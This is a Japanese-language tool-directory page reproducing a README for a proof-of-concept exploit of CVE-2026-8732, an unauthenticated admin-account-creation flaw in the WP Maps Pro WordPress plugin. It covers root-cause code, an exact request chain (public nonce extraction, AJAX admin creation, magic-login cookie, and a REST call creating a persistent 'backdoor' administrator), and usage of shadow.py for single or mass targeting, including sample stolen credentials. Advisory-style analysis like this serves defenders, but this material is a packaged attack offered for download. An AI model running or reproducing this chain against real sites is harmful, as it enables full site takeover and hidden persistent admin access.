Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - 管理者アカウント作成による未認証の権限昇格 | Kitploit
ツール/GitHubGitHub/xshadow-here/cve-2026-8732
特権昇格パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - 管理者アカウント作成による未認証の権限昇格

リポジトリを見る
112ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ 管理者アカウント作成による未認証の権限昇格 ♡
=== shadow ♡ & friska ===


📋 脆弱性情報

項目詳細
CVE IDCVE-2026-8732
CVSS スコア9.8 (Critical)
CVSS ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
タイプ重要な機能に対する認証の欠如
プラグインWP Maps Pro (wp-google-map-gold)
影響を受けるバージョンすべてのバージョン ≤ 6.1.0
修正済みバージョン6.1.1
公開日2026年5月28日
研究者David Brown
PoCShadow & Friska 😈

🔍 概要

WordPress 用プラグイン WP Maps Pro には、管理者アカウント作成による未認証の権限昇格 の脆弱性があります。

wpgmp_temp_access_ajax AJAX アクションは wp_ajax_nopriv_ で登録されており、fc-call-nonce nonce を使用した nonce チェックのみで保護されています。この nonce は wp_localize_script によって wpgmp_local JavaScript オブジェクトの nonce フィールドとして すべてのフロントエンドページに公開埋め込み されています。

これにより、nonce チェックはアクセス制御メカニズムとして 完全に無効 となり、未認証の攻撃者には以下が可能になります:

  1. 任意の公開ページから nonce を抽出する
  2. check_temp=false を指定して wpgmp_temp_access_support ハンドラを呼び出す
  3. 新しい WordPress 管理者 アカウントの無条件作成をトリガーする
  4. wp_set_auth_cookie() を呼び出すマジックログイン URL を受け取り、完全な管理者アクセスを取得する
  5. 永続的なバックドアアカウントを作成する

結果: 事前認証ゼロでの完全なサイト乗っ取り。


🧬 根本原因分析

1. is_admin() ブロック内に登録されたフック — ただし AJAX では is_admin() は常に TRUE

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE for all admin-ajax.php requests!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}

2. すべてのフロントエンドページに公開される nonce

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← LEAKED to public HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

任意の訪問者がページソースから nonce を読み取ることができます。WordPress の nonce は CSRF トークンであり、認証トークンではありません。

3. AJAX コールバックに権限チェックがない

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← bypassed via public nonce
    // NO current_user_can() check!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. 無条件の管理者アカウント作成

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // random username
    $email    = '[email protected]';       // hardcoded email
    $role     = 'administrator';                 // hardcoded role ← ROOT CAUSE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← magic URL returned to attacker!
    }
}

5. init フックによるマジックログイン — 有効期限なし・使い捨てではない

root@kitploit:~
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECT TO DASHBOARD

⚔️ 攻撃チェーン

root@kitploit:~
[Unauthenticated Attacker]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() fired
   ← 302 → /wp-admin/
         │
         ▼
   [Full Administrator Access] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Persistent Backdoor Created] 😈

🛠️ ツール

shadow.py — 完全なエクスプロイトチェーン

単一ターゲットまたは大量一括エクスプロイトに対応。

root@kitploit:~
# Interactive
python3 shadow.py

# Single target
python3 shadow.py -u https://target.com

# Mass exploit
python3 shadow.py -f targets.txt -t 20

エクスプロイトのフェーズ:

root@kitploit:~
Phase 1  ▶  Plugin & Feature Detection
Phase 2  ▶  Nonce Scan (parallel crawler)
Phase 3  ▶  Admin Creation via AJAX
Phase 4  ▶  Magic Login (wp_set_auth_cookie)
Phase 5  ▶  Persistent Backdoor (REST API)

出力 (pwned.txt):

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 対策

WP Maps Pro をバージョン 6.1.1 以降に更新してください。


[shadow ♡ friska] — 教育および許可を得たセキュリティ研究のみを目的としています

ツールをダウンロード